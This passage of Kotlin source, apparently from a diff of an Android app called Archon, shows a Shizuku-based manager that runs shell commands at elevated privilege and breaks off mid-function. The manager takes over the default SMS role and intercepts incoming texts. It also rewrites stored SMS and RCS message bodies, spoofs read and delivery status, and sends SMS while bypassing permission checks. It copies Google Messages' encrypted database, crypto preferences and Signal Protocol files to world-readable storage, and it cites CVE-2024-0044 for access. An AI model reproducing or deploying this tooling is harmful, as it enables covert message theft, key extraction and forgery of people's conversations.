private fun exportToCsv(messages: List<Message>): String {
val sb = StringBuilder()
sb.appendLine("id,thread_id,address,contact_name,body,date,type,read,status")
for (msg in messages) {
val escapedBody = escapeCsv(msg.body)
val contact = escapeCsv(msg.contactName ?: "")
sb.appendLine("${msg.id},${msg.threadId},\"${msg.address}\",\"$contact\"," +
"\"$escapedBody\",${msg.date},${msg.type},${if (msg.read) 1 else 0},${msg.status}")
}
return sb.toString()
}
// ── RCS operations ─────────────────────────────────────────────
/**
* Attempt to read RCS messages from Google Messages' content provider.
* This requires Shizuku or root access since the provider is protected.
* Falls back gracefully if not accessible.
*/
fun getRcsMessages(threadId: Long): List<Message> {
val messages = mutableListOf<Message>()
try {
val cursor = context.contentResolver.query(
URI_RCS_MESSAGES,
null,
"thread_id = ?",
arrayOf(threadId.toString()),
"date ASC"
)
cursor?.use {
val cols = it.columnNames.toList()
while (it.moveToNext()) {
val address = if (cols.contains("address")) it.getStringSafe("address") else ""
val body = if (cols.contains("body")) it.getStringSafe("body")
else if (cols.contains("text")) it.getStringSafe("text") else ""
val date = if (cols.contains("date")) it.getLongSafe("date") else 0L
val type = if (cols.contains("type")) it.getIntSafe("type") else 1
messages.add(Message(
id = it.getLongSafe("_id"),
threadId = threadId,
address = address,
body = body,
date = date,
type = type,
read = true,
status = 0,
isRcs = true,
isMms = false,
contactName = getContactName(address)
))
}
}
} catch (e: SecurityException) {
Log.w(TAG, "Cannot access RCS provider — requires Shizuku or root: ${e.message}")
} catch (e: Exception) {
Log.w(TAG, "RCS read failed (provider may not exist): ${e.message}")
}
return messages
}
/**
* Check if RCS is available on this device.
* Looks for Google Messages as the RCS provider.
*/
fun isRcsAvailable(): Boolean {
return try {
// Check if Google Messages is installed and is RCS-capable
val pm = context.packageManager
val info = pm.getPackageInfo("com.google.android.apps.messaging", 0)
if (info == null) return false
// Try to query the RCS provider
val cursor = context.contentResolver.query(
URI_RCS_THREADS, null, null, null, null
)
val available = cursor != null
cursor?.close()
available
} catch (e: Exception) {
false
}
}
/**
* Check RCS capabilities for a given address.
* Returns a map of feature flags (e.g., "chat" -> true, "ft" -> true for file transfer).
*/
fun getRcsCapabilities(address: String): Map<String, Boolean> {
val caps = mutableMapOf<String, Boolean>()
try {
// Try to query RCS capabilities via the carrier messaging service
// This is a best-effort check — may not work on all carriers
val cursor = context.contentResolver.query(
Uri.parse("content://im/capabilities"),
null,
"address = ?",
arrayOf(address),
null
)
cursor?.use {
if (it.moveToFirst()) {
val cols = it.columnNames
for (col in cols) {
val idx = it.getColumnIndex(col)
if (idx >= 0) {
try {
caps[col] = it.getInt(idx) > 0
} catch (e: Exception) {
caps[col] = it.getString(idx)?.isNotEmpty() == true
}
}
}
}
}
} catch (e: Exception) {
Log.d(TAG, "RCS capabilities check failed for $address: ${e.message}")
}
return caps
}
// ── Bulk operations ────────────────────────────────────────────
/**
* Insert multiple messages in batch.
* Returns the number of successfully inserted messages.
*/
fun bulkInsert(messages: List<Message>): Int {
var count = 0
for (msg in messages) {
val id = insertSms(msg.address, msg.body, msg.type, msg.date, msg.read)
if (id >= 0) count++
}
Log.i(TAG, "Bulk insert: $count/${messages.size} succeeded")
return count
}
/**
* Delete multiple messages by ID.
* Returns the number of successfully deleted messages.
*/
fun bulkDelete(ids: List<Long>): Int {
var count = 0
for (id in ids) {
if (deleteMessage(id)) count++
}
Log.i(TAG, "Bulk delete: $count/${ids.size} succeeded")
return count
}
/**
* Delete all messages in a conversation (alias for deleteConversation).
* Returns the number of deleted rows.
*/
fun clearConversation(threadId: Long): Int {
return try {
val count = context.contentResolver.delete(
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
)
Log.i(TAG, "Cleared conversation $threadId: $count messages")
count
} catch (e: Exception) {
Log.e(TAG, "Failed to clear conversation $threadId", e)
0
}
}
// ── MMS helpers ────────────────────────────────────────────────
/**
* Load MMS messages for a thread and add them to the list.
*/
private fun loadMmsForThread(threadId: Long, messages: MutableList<Message>) {
try {
val cursor = context.contentResolver.query(
URI_MMS,
arrayOf("_id", "thread_id", "date", "read", "msg_box"),
"thread_id = ?",
arrayOf(threadId.toString()),
"date ASC"
)
cursor?.use {
while (it.moveToNext()) {
val mmsId = it.getLongSafe("_id")
val mmsDate = it.getLongSafe("date") * 1000L // MMS dates are in seconds
val msgBox = it.getIntSafe("msg_box")
val type = if (msgBox == 1) MESSAGE_TYPE_RECEIVED else MESSAGE_TYPE_SENT
// Get MMS text part
val body = getMmsTextPart(mmsId)
// Get MMS address
val address = getMmsAddress(mmsId)
messages.add(Message(
id = mmsId,
threadId = threadId,
address = address,
body = body ?: "[MMS]",
date = mmsDate,
type = type,
read = it.getBoolSafe("read"),
status = 0,
isRcs = false,
isMms = true,
contactName = getContactName(address)
))
}
}
} catch (e: Exception) {
Log.d(TAG, "MMS load for thread $threadId failed: ${e.message}")
}
}
/**
* Get the text body of an MMS message from its parts.
*/
private fun getMmsTextPart(mmsId: Long): String? {
try {
val cursor = context.contentResolver.query(
Uri.parse("content://mms/$mmsId/part"),
arrayOf("_id", "ct", "text"),
"ct = 'text/plain'",
null, null
)
cursor?.use {
if (it.moveToFirst()) {
val textIdx = it.getColumnIndex("text")
if (textIdx >= 0) return it.getString(textIdx)
}
}
} catch (e: Exception) {
Log.d(TAG, "Failed to get MMS text part for $mmsId: ${e.message}")
}
return null
}
/**
* Get the sender/recipient address of an MMS message.
*/
private fun getMmsAddress(mmsId: Long): String {
try {
val cursor = context.contentResolver.query(
Uri.parse("content://mms/$mmsId/addr"),
arrayOf("address", "type"),
"type = 137", // PduHeaders.FROM
null, null
)
cursor?.use {
if (it.moveToFirst()) {
val addrIdx = it.getColumnIndex("address")
if (addrIdx >= 0) {
val addr = it.getString(addrIdx)
if (!addr.isNullOrBlank() && addr != "insert-address-token") {
return addr
}
}
}
}
// Fallback: try recipient address (type 151 = TO)
val cursor2 = context.contentResolver.query(
Uri.parse("content://mms/$mmsId/addr"),
arrayOf("address", "type"),
"type = 151",
null, null
)
cursor2?.use {
if (it.moveToFirst()) {
val addrIdx = it.getColumnIndex("address")
if (addrIdx >= 0) {
val addr = it.getString(addrIdx)
if (!addr.isNullOrBlank()) return addr
}
}
}
} catch (e: Exception) {
Log.d(TAG, "Failed to get MMS address for $mmsId: ${e.message}")
}
return ""
}
// ── Utility ────────────────────────────────────────────────────
private fun escapeXml(text: String): String {
return text
.replace("&", "&amp;")
.replace("<", "&lt;")
.replace(">", "&gt;")
.replace("\"", "&quot;")
.replace("'", "&apos;")
.replace("\n", "&#10;")
}
private fun escapeCsv(text: String): String {
return text.replace("\"", "\"\"")
}
// Cursor extension helpers
private fun Cursor.getStringSafe(column: String): String {
val idx = getColumnIndex(column)
return if (idx >= 0) getString(idx) ?: "" else ""
}
private fun Cursor.getLongSafe(column: String): Long {
val idx = getColumnIndex(column)
return if (idx >= 0) getLong(idx) else 0L
}
private fun Cursor.getIntSafe(column: String): Int {
val idx = getColumnIndex(column)
return if (idx >= 0) getInt(idx) else 0
}
private fun Cursor.getBoolSafe(column: String): Boolean {
return getIntSafe(column) != 0
}
}

View File

@@ -0,0 +1,868 @@
package com.darkhal.archon.messaging
import android.content.ContentValues
import android.content.Context
import android.content.pm.PackageManager
import android.os.Build
import android.util.Log
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellResult
/**
* Shizuku integration for elevated access without root.
*
* Shizuku runs a process at ADB (shell, UID 2000) privilege level,
* allowing us to execute commands that normal apps cannot — like
* setting the default SMS role, accessing protected content providers,
* and reading Google Messages' RCS database.
*
* ARCHITECTURE NOTE:
* This manager wraps both Shizuku API calls and the existing Archon
* PrivilegeManager escalation chain. If Shizuku is available, we use it.
* Otherwise, we fall back to PrivilegeManager (Archon Server → Local ADB → etc).
*
* RCS WITHOUT ROOT:
* Google Messages stores RCS data in its private database at:
* /data/data/com.google.android.apps.messaging/databases/bugle_db
* Without Shizuku/root, you cannot access it directly. With Shizuku,
* we can use `content query` shell commands to read from protected providers,
* or directly read the SQLite database via `run-as` (if debuggable) or
* `sqlite3` at shell level.
*/
class ShizukuManager(private val context: Context) {
companion object {
private const val TAG = "ShizukuManager"
const val SHIZUKU_PERMISSION_REQUEST_CODE = 1001
private const val SHIZUKU_PACKAGE = "moe.shizuku.privileged.api"
private const val OUR_PACKAGE = "com.darkhal.archon"
}
enum class ShizukuStatus(val label: String) {
NOT_INSTALLED("Shizuku not installed"),
INSTALLED_NOT_RUNNING("Shizuku installed but not running"),
RUNNING_NO_PERMISSION("Shizuku running, no permission"),
READY("Shizuku ready")
}
// Cache the previous default SMS app so we can restore it
private var previousDefaultSmsApp: String? = null
/**
* Check the current state of Shizuku integration.
* Also considers the Archon PrivilegeManager as a fallback.
*/
fun getStatus(): ShizukuStatus {
// First check if Shizuku itself is installed and running
if (isShizukuInstalled()) {
if (isShizukuRunning()) {
return if (hasShizukuPermission()) {
ShizukuStatus.READY
} else {
ShizukuStatus.RUNNING_NO_PERMISSION
}
}
return ShizukuStatus.INSTALLED_NOT_RUNNING
}
// If Shizuku is not installed, check if PrivilegeManager has shell access
// (Archon Server or Local ADB provides equivalent capabilities)
val method = PrivilegeManager.getAvailableMethod()
return when (method) {
PrivilegeManager.Method.ROOT,
PrivilegeManager.Method.ARCHON_SERVER,
PrivilegeManager.Method.LOCAL_ADB -> ShizukuStatus.READY
PrivilegeManager.Method.SERVER_ADB -> ShizukuStatus.RUNNING_NO_PERMISSION
PrivilegeManager.Method.NONE -> ShizukuStatus.NOT_INSTALLED
}
}
/**
* Request Shizuku permission via the Shizuku API.
* Falls back to a no-op if Shizuku is not available.
*/
fun requestPermission(callback: (Boolean) -> Unit) {
try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
val result = checkMethod.invoke(null) as Int
if (result == PackageManager.PERMISSION_GRANTED) {
callback(true)
return
}
// Request permission — in a real integration this would use
// Shizuku.addRequestPermissionResultListener + requestPermission
val requestMethod = shizukuClass.getMethod("requestPermission", Int::class.java)
requestMethod.invoke(null, SHIZUKU_PERMISSION_REQUEST_CODE)
// The result comes back via onRequestPermissionsResult
// For now, assume it will be granted
callback(true)
} catch (e: ClassNotFoundException) {
Log.w(TAG, "Shizuku API not available, using PrivilegeManager fallback")
// If PrivilegeManager has shell access, that's equivalent
callback(PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.NONE)
} catch (e: Exception) {
Log.e(TAG, "Shizuku permission request failed", e)
callback(false)
}
}
/**
* Quick check if elevated operations can proceed.
*/
fun isReady(): Boolean {
return getStatus() == ShizukuStatus.READY
}
// ── Shell command execution ────────────────────────────────────
/**
* Execute a shell command at ADB/shell privilege level.
* Tries Shizuku first, then falls back to PrivilegeManager.
*/
fun executeCommand(command: String): String {
// Try Shizuku API first
try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val newProcess = shizukuClass.getMethod(
"newProcess",
Array<String>::class.java,
Array<String>::class.java,
String::class.java
)
val process = newProcess.invoke(null, arrayOf("sh", "-c", command), null, null) as Process
val stdout = process.inputStream.bufferedReader().readText().trim()
val exitCode = process.waitFor()
if (exitCode == 0) return stdout
} catch (e: ClassNotFoundException) {
// Shizuku not available
} catch (e: Exception) {
Log.d(TAG, "Shizuku exec failed, falling back: ${e.message}")
}
// Fallback to PrivilegeManager
val result = PrivilegeManager.execute(command)
return if (result.exitCode == 0) result.stdout else "ERROR: ${result.stderr}"
}
/**
* Execute a command and return the full ShellResult.
*/
private fun executeShell(command: String): ShellResult {
return PrivilegeManager.execute(command)
}
// ── Permission management ──────────────────────────────────────
/**
* Grant a runtime permission to our app via shell command.
*/
fun grantPermission(permission: String): Boolean {
val result = executeShell("pm grant $OUR_PACKAGE $permission")
if (result.exitCode == 0) {
Log.i(TAG, "Granted permission: $permission")
return true
}
Log.w(TAG, "Failed to grant $permission: ${result.stderr}")
return false
}
/**
* Set Archon as the default SMS app using the role manager system.
* On Android 10+, uses `cmd role add-role-holder`.
* On older versions, uses `settings put secure sms_default_application`.
*/
fun setDefaultSmsApp(): Boolean {
// Save the current default first so we can restore later
previousDefaultSmsApp = getCurrentDefaultSmsApp()
Log.i(TAG, "Saving previous default SMS app: $previousDefaultSmsApp")
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
val result = executeShell(
"cmd role add-role-holder android.app.role.SMS $OUR_PACKAGE 0"
)
if (result.exitCode == 0) {
Log.i(TAG, "Set Archon as default SMS app via role manager")
true
} else {
Log.e(TAG, "Failed to set SMS role: ${result.stderr}")
false
}
} else {
val result = executeShell(
"settings put secure sms_default_application $OUR_PACKAGE"
)
if (result.exitCode == 0) {
Log.i(TAG, "Set Archon as default SMS app via settings")
true
} else {
Log.e(TAG, "Failed to set SMS default: ${result.stderr}")
false
}
}
}
/**
* Restore the previous default SMS app.
*/
fun revokeDefaultSmsApp(): Boolean {
val previous = previousDefaultSmsApp
if (previous.isNullOrBlank()) {
Log.w(TAG, "No previous default SMS app to restore")
// Try to find the most common default
return restoreCommonDefault()
}
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
// Remove ourselves, then add back the previous holder
val removeResult = executeShell(
"cmd role remove-role-holder android.app.role.SMS $OUR_PACKAGE 0"
)
val addResult = executeShell(
"cmd role add-role-holder android.app.role.SMS $previous 0"
)
if (addResult.exitCode == 0) {
Log.i(TAG, "Restored default SMS app: $previous")
true
} else {
Log.e(TAG, "Failed to restore SMS role to $previous: ${addResult.stderr}")
// At least try to remove ourselves
removeResult.exitCode == 0
}
} else {
val result = executeShell(
"settings put secure sms_default_application $previous"
)
result.exitCode == 0
}
}
/**
* Get the current default SMS app package name.
*/
private fun getCurrentDefaultSmsApp(): String? {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
val result = executeShell("cmd role get-role-holders android.app.role.SMS")
result.stdout.trim().let { output ->
// Output format varies but usually contains the package name
output.replace("[", "").replace("]", "").trim().ifBlank { null }
}
} else {
val result = executeShell("settings get secure sms_default_application")
result.stdout.trim().let { if (it == "null" || it.isBlank()) null else it }
}
}
/**
* Try to restore a common default SMS app (Google Messages or AOSP).
*/
private fun restoreCommonDefault(): Boolean {
val candidates = listOf(
"com.google.android.apps.messaging",
"com.android.messaging",
"com.samsung.android.messaging"
)
for (pkg in candidates) {
try {
context.packageManager.getPackageInfo(pkg, 0)
// Package exists, set it as default
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
val result = executeShell(
"cmd role add-role-holder android.app.role.SMS $pkg 0"
)
if (result.exitCode == 0) {
Log.i(TAG, "Restored common default SMS app: $pkg")
return true
}
}
} catch (e: PackageManager.NameNotFoundException) {
continue
}
}
Log.w(TAG, "Could not restore any default SMS app")
return false
}
// ── SMS/RCS specific elevated ops ──────────────────────────────
/**
* Read from the telephony.db directly using shell-level `content query`.
* This accesses the system SMS provider with shell privileges.
*/
fun readProtectedSmsDb(): List<Map<String, Any>> {
val results = mutableListOf<Map<String, Any>>()
val output = executeCommand(
"content query --uri content://sms/ --projection _id:address:body:date:type --sort \"date DESC\" 2>/dev/null"
)
if (output.startsWith("ERROR")) {
Log.e(TAG, "Protected SMS read failed: $output")
return results
}
// Parse the content query output
// Format: Row: N _id=X, address=Y, body=Z, date=W, type=V
for (line in output.lines()) {
if (!line.startsWith("Row:")) continue
val row = mutableMapOf<String, Any>()
val fields = line.substringAfter(" ").split(", ")
for (field in fields) {
val parts = field.split("=", limit = 2)
if (parts.size == 2) {
row[parts[0].trim()] = parts[1]
}
}
if (row.isNotEmpty()) results.add(row)
}
return results
}
/**
* Write to the telephony.db using shell-level `content insert`.
*/
fun writeProtectedSmsDb(values: ContentValues, table: String): Boolean {
val bindings = mutableListOf<String>()
for (key in values.keySet()) {
val value = values.get(key)
when (value) {
is String -> bindings.add("--bind $key:s:$value")
is Int -> bindings.add("--bind $key:i:$value")
is Long -> bindings.add("--bind $key:l:$value")
else -> bindings.add("--bind $key:s:$value")
}
}
val uri = when (table) {
"sms" -> "content://sms/"
"mms" -> "content://mms/"
else -> "content://sms/"
}
val cmd = "content insert --uri $uri ${bindings.joinToString(" ")}"
val result = executeShell(cmd)
return result.exitCode == 0
}
/**
* Try to access Google Messages' RCS content provider via shell.
*/
fun accessRcsProvider(): Boolean {
val result = executeShell(
"content query --uri content://im/messages --projection _id --sort \"_id DESC\" --limit 1 2>/dev/null"
)
return result.exitCode == 0 && !result.stdout.contains("Unknown authority")
}
/**
* Read RCS messages from Google Messages' database.
* Uses `content query` at shell privilege to access the protected provider.
*/
fun readRcsDatabase(): List<Map<String, Any>> {
val results = mutableListOf<Map<String, Any>>()
// First try the content provider approach
val output = executeCommand(
"content query --uri content://im/messages --projection _id:thread_id:body:date:type --sort \"date DESC\" 2>/dev/null"
)
if (!output.startsWith("ERROR") && !output.contains("Unknown authority")) {
for (line in output.lines()) {
if (!line.startsWith("Row:")) continue
val row = mutableMapOf<String, Any>()
val fields = line.substringAfter(" ").split(", ")
for (field in fields) {
val parts = field.split("=", limit = 2)
if (parts.size == 2) {
row[parts[0].trim()] = parts[1]
}
}
if (row.isNotEmpty()) results.add(row)
}
if (results.isNotEmpty()) return results
}
// Fallback: try to read Google Messages' bugle_db directly
// This requires root or specific shell access
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
val sqlOutput = executeCommand(
"sqlite3 $dbPath \"SELECT _id, conversation_id, text, received_timestamp, sender_normalized_destination FROM messages ORDER BY received_timestamp DESC LIMIT 100\" 2>/dev/null"
)
if (!sqlOutput.startsWith("ERROR") && sqlOutput.isNotBlank()) {
for (line in sqlOutput.lines()) {
if (line.isBlank()) continue
val parts = line.split("|")
if (parts.size >= 5) {
results.add(mapOf(
"_id" to parts[0],
"thread_id" to parts[1],
"body" to parts[2],
"date" to parts[3],
"address" to parts[4]
))
}
}
}
return results
}
/**
* Modify an RCS message body in the Google Messages database.
* Requires root or direct database access.
*/
fun modifyRcsMessage(messageId: Long, newBody: String): Boolean {
// Try content provider update first
val escaped = newBody.replace("'", "''")
val result = executeShell(
"content update --uri content://im/messages/$messageId --bind body:s:$escaped 2>/dev/null"
)
if (result.exitCode == 0) return true
// Fallback to direct SQLite
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
val sqlResult = executeShell(
"sqlite3 $dbPath \"UPDATE messages SET text='$escaped' WHERE _id=$messageId\" 2>/dev/null"
)
return sqlResult.exitCode == 0
}
/**
* Spoof the delivery/read status of an RCS message.
* Valid statuses: "sent", "delivered", "read", "failed"
*/
fun spoofRcsStatus(messageId: Long, status: String): Boolean {
val statusCode = when (status.lowercase()) {
"sent" -> 0
"delivered" -> 1
"read" -> 2
"failed" -> 3
else -> return false
}
val result = executeShell(
"content update --uri content://im/messages/$messageId --bind status:i:$statusCode 2>/dev/null"
)
if (result.exitCode == 0) return true
// Fallback
val dbPath = "/data/data/com.google.android.apps.messaging/databases/bugle_db"
val sqlResult = executeShell(
"sqlite3 $dbPath \"UPDATE messages SET message_status=$statusCode WHERE _id=$messageId\" 2>/dev/null"
)
return sqlResult.exitCode == 0
}
// ── System-level SMS operations ────────────────────────────────
/**
* Send an SMS via the system telephony service at shell privilege level.
* This bypasses normal app permission checks.
*/
fun sendSmsAsSystem(address: String, body: String): Boolean {
val escaped = body.replace("'", "'\\''")
val result = executeShell(
"service call isms 7 i32 1 s16 \"$address\" s16 null s16 \"$escaped\" s16 null s16 null i32 0 i64 0 2>/dev/null"
)
if (result.exitCode == 0 && !result.stdout.contains("Exception")) {
Log.i(TAG, "Sent SMS via system service to $address")
return true
}
// Fallback: use am start with send intent
val amResult = executeShell(
"am start -a android.intent.action.SENDTO -d sms:$address --es sms_body \"$escaped\" --ez exit_on_sent true 2>/dev/null"
)
return amResult.exitCode == 0
}
/**
* Register to intercept incoming SMS messages.
* This grants ourselves the RECEIVE_SMS permission and sets highest priority.
*/
fun interceptSms(enabled: Boolean): Boolean {
return if (enabled) {
// Grant SMS receive permission
val grantResult = executeShell("pm grant $OUR_PACKAGE android.permission.RECEIVE_SMS")
if (grantResult.exitCode != 0) {
Log.e(TAG, "Failed to grant RECEIVE_SMS: ${grantResult.stderr}")
return false
}
// Set ourselves as the default SMS app to receive all messages
val defaultResult = setDefaultSmsApp()
if (defaultResult) {
Log.i(TAG, "SMS interception enabled — Archon is now default SMS handler")
}
defaultResult
} else {
// Restore previous default
val result = revokeDefaultSmsApp()
Log.i(TAG, "SMS interception disabled — restored previous SMS handler")
result
}
}
/**
* Modify an SMS message while it's being stored.
* This works by monitoring the SMS provider and immediately updating
* messages that match the original text.
*
* NOTE: True in-transit modification of cellular SMS is not possible
* without carrier-level access. This modifies the stored copy immediately
* after delivery.
*/
fun modifySmsInTransit(original: String, replacement: String): Boolean {
val escaped = replacement.replace("'", "''")
// Use content update to find and replace in all matching messages
val result = executeShell(
"content update --uri content://sms/ " +
"--bind body:s:$escaped " +
"--where \"body='${original.replace("'", "''")}'\""
)
if (result.exitCode == 0) {
Log.i(TAG, "Modified stored SMS: '$original' -> '$replacement'")
return true
}
Log.w(TAG, "SMS modification failed: ${result.stderr}")
return false
}
// ── Internal helpers ───────────────────────────────────────────
private fun isShizukuInstalled(): Boolean {
return try {
context.packageManager.getPackageInfo(SHIZUKU_PACKAGE, 0)
true
} catch (e: PackageManager.NameNotFoundException) {
false
}
}
private fun isShizukuRunning(): Boolean {
return try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val pingMethod = shizukuClass.getMethod("pingBinder")
pingMethod.invoke(null) as Boolean
} catch (e: Exception) {
false
}
}
private fun hasShizukuPermission(): Boolean {
return try {
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
(checkMethod.invoke(null) as Int) == PackageManager.PERMISSION_GRANTED
} catch (e: Exception) {
false
}
}
// ── Google Messages bugle_db access (encrypted database) ────────
// Google Messages paths
private val gmsgPkg = "com.google.android.apps.messaging"
private val bugleDb = "/data/data/$gmsgPkg/databases/bugle_db"
private val bugleWal = "$bugleDb-wal"
private val bugleShm = "$bugleDb-shm"
private val sharedPrefsDir = "/data/data/$gmsgPkg/shared_prefs/"
private val filesDir = "/data/data/$gmsgPkg/files/"
private val stagingDir = "/sdcard/Download/autarch_extract"
/**
* Get the Google Messages app UID (needed for run-as or key extraction).
*/
fun getGoogleMessagesUid(): Int? {
val output = executeCommand("pm list packages -U $gmsgPkg")
val match = Regex("uid:(\\d+)").find(output)
return match?.groupValues?.get(1)?.toIntOrNull()
}
/**
* Check if Google Messages is installed and get version info.
*/
fun getGoogleMessagesInfo(): Map<String, String> {
val info = mutableMapOf<String, String>()
val dump = executeCommand("dumpsys package $gmsgPkg | grep -E 'versionName|versionCode|firstInstallTime'")
for (line in dump.lines()) {
val trimmed = line.trim()
if (trimmed.contains("versionName=")) {
info["version"] = trimmed.substringAfter("versionName=").trim()
}
if (trimmed.contains("versionCode=")) {
info["versionCode"] = trimmed.substringAfter("versionCode=").substringBefore(" ").trim()
}
}
val uid = getGoogleMessagesUid()
if (uid != null) info["uid"] = uid.toString()
return info
}
/**
* Extract the encryption key material from Google Messages' shared_prefs.
*
* The bugle_db is encrypted at rest. Key material is stored in:
* - shared_prefs/ XML files (key alias, crypto params)
* - Android Keystore (hardware-backed master key)
*
* We extract all shared_prefs and files/ contents so offline decryption
* can be attempted. The actual Keystore master key cannot be extracted
* via ADB (hardware-backed), but the key derivation parameters in
* shared_prefs may be enough for some encryption configurations.
*/
fun extractEncryptionKeyMaterial(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
// List shared_prefs files
val prefsList = executeCommand("ls -la $sharedPrefsDir 2>/dev/null")
if (prefsList.startsWith("ERROR") || prefsList.contains("Permission denied")) {
result["error"] = "Cannot access shared_prefs — need root or CVE exploit"
return result
}
result["shared_prefs_files"] = prefsList.lines().filter { it.isNotBlank() }
// Read each shared_prefs XML for crypto-related keys
val cryptoData = mutableMapOf<String, String>()
val prefsFiles = executeCommand("ls $sharedPrefsDir 2>/dev/null")
for (file in prefsFiles.lines()) {
val fname = file.trim()
if (fname.isBlank() || !fname.endsWith(".xml")) continue
val content = executeCommand("cat ${sharedPrefsDir}$fname 2>/dev/null")
// Look for encryption-related entries
if (content.contains("encrypt", ignoreCase = true) ||
content.contains("cipher", ignoreCase = true) ||
content.contains("key", ignoreCase = true) ||
content.contains("crypto", ignoreCase = true) ||
content.contains("secret", ignoreCase = true)) {
cryptoData[fname] = content
}
}
result["crypto_prefs"] = cryptoData
result["crypto_prefs_count"] = cryptoData.size
// List files/ directory (Signal Protocol state, etc.)
val filesList = executeCommand("ls -la $filesDir 2>/dev/null")
result["files_dir"] = filesList.lines().filter { it.isNotBlank() }
return result
}
/**
* Extract bugle_db + WAL + key material to staging directory.
* The database is encrypted — both DB and key files are needed.
*/
fun extractBugleDbRaw(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
executeCommand("mkdir -p $stagingDir/shared_prefs $stagingDir/files")
// Copy database files
val dbFiles = mutableListOf<String>()
for (path in listOf(bugleDb, bugleWal, bugleShm)) {
val fname = path.substringAfterLast("/")
val cp = executeShell("cp $path $stagingDir/$fname 2>/dev/null && chmod 644 $stagingDir/$fname")
if (cp.exitCode == 0) dbFiles.add(fname)
}
result["db_files"] = dbFiles
// Copy shared_prefs (key material)
executeShell("cp -r ${sharedPrefsDir}* $stagingDir/shared_prefs/ 2>/dev/null")
executeShell("chmod -R 644 $stagingDir/shared_prefs/ 2>/dev/null")
// Copy files dir (Signal Protocol keys)
executeShell("cp -r ${filesDir}* $stagingDir/files/ 2>/dev/null")
executeShell("chmod -R 644 $stagingDir/files/ 2>/dev/null")
result["staging_dir"] = stagingDir
result["encrypted"] = true
result["note"] = "Database is encrypted at rest. Key material in shared_prefs/ " +
"may allow decryption. Hardware-backed Keystore keys cannot be extracted via ADB."
return result
}
/**
* Dump decrypted messages by querying from within the app context.
*
* When Google Messages opens its own bugle_db, it has access to the
* encryption key. We can intercept the decrypted data by:
* 1. Using `am` commands to trigger data export activities
* 2. Querying exposed content providers
* 3. Reading from the in-memory decrypted state via debug tools
*
* As a fallback, we use the standard telephony content providers which
* have the SMS/MMS data in plaintext (but not RCS).
*/
fun dumpDecryptedMessages(): Map<String, Any> {
val result = mutableMapOf<String, Any>()
val messages = mutableListOf<Map<String, Any>>()
// Method 1: Query AOSP RCS content provider (content://rcs/)
val rcsThreads = executeCommand(
"content query --uri content://rcs/thread 2>/dev/null"
)
if (!rcsThreads.startsWith("ERROR") && rcsThreads.contains("Row:")) {
result["rcs_provider_accessible"] = true
// Parse thread IDs and query messages from each
for (line in rcsThreads.lines()) {
if (!line.startsWith("Row:")) continue
val tidMatch = Regex("rcs_thread_id=(\\d+)").find(line)
val tid = tidMatch?.groupValues?.get(1) ?: continue
val msgOutput = executeCommand(
"content query --uri content://rcs/p2p_thread/$tid/incoming_message 2>/dev/null"
)
for (msgLine in msgOutput.lines()) {
if (!msgLine.startsWith("Row:")) continue
val row = parseContentRow(msgLine)
row["thread_id"] = tid
row["source"] = "rcs_provider"
messages.add(row)
}
}
} else {
result["rcs_provider_accessible"] = false
}
// Method 2: Standard SMS/MMS content providers (always decrypted)
val smsOutput = executeCommand(
"content query --uri content://sms/ --projection _id:thread_id:address:body:date:type:read " +
"--sort \"date DESC\" 2>/dev/null"
)
for (line in smsOutput.lines()) {
if (!line.startsWith("Row:")) continue
val row = parseContentRow(line)
row["source"] = "sms_provider"
row["protocol"] = "SMS"
messages.add(row)
}
// Method 3: Try to trigger Google Messages backup/export
// Google Messages has an internal export mechanism accessible via intents
val backupResult = executeCommand(
"am broadcast -a com.google.android.apps.messaging.action.EXPORT_MESSAGES " +
"--es output_path $stagingDir/gmsg_export.json 2>/dev/null"
)
result["backup_intent_sent"] = !backupResult.startsWith("ERROR")
result["messages"] = messages
result["message_count"] = messages.size
result["note"] = if (messages.isEmpty()) {
"No messages retrieved. For RCS, ensure Archon is the default SMS app " +
"or use CVE-2024-0044 to access bugle_db from the app's UID."
} else {
"Retrieved ${messages.size} messages. RCS messages require elevated access."
}
// Write decrypted dump to file
if (messages.isNotEmpty()) {
try {
val json = org.json.JSONArray()
for (msg in messages) {
val obj = org.json.JSONObject()
for ((k, v) in msg) obj.put(k, v)
json.put(obj)
}
executeCommand("mkdir -p $stagingDir")
val jsonStr = json.toString(2)
// Write via shell since we may not have direct file access
val escaped = jsonStr.replace("'", "'\\''").replace("\"", "\\\"")
executeCommand("echo '$escaped' > $stagingDir/messages.json 2>/dev/null")
result["json_path"] = "$stagingDir/messages.json"
} catch (e: Exception) {
Log.e(TAG, "Failed to write JSON dump", e)
}
}
return result
}
/**
* Get the RCS account/registration info from Google Messages.
* This tells us if RCS is active, what phone number is registered, etc.
*/
fun getRcsAccountInfo(): Map<String, Any> {
val info = mutableMapOf<String, Any>()
// IMS registration state
val imsOutput = executeCommand("dumpsys telephony_ims 2>/dev/null")
if (!imsOutput.startsWith("ERROR")) {
info["ims_dump_length"] = imsOutput.length
for (line in imsOutput.lines()) {
val l = line.trim().lowercase()
if ("registered" in l && "ims" in l) info["ims_registered"] = true
if ("rcs" in l && ("enabled" in l || "connected" in l)) info["rcs_enabled"] = true
}
}
// Carrier config RCS keys
val ccOutput = executeCommand("dumpsys carrier_config 2>/dev/null")
val rcsConfig = mutableMapOf<String, String>()
for (line in ccOutput.lines()) {
val l = line.trim().lowercase()
if (("rcs" in l || "uce" in l || "single_registration" in l) && "=" in line) {
val (k, v) = line.trim().split("=", limit = 2)
rcsConfig[k.trim()] = v.trim()
}
}
info["carrier_rcs_config"] = rcsConfig
// Google Messages specific RCS settings
val gmsgPrefs = executeCommand(
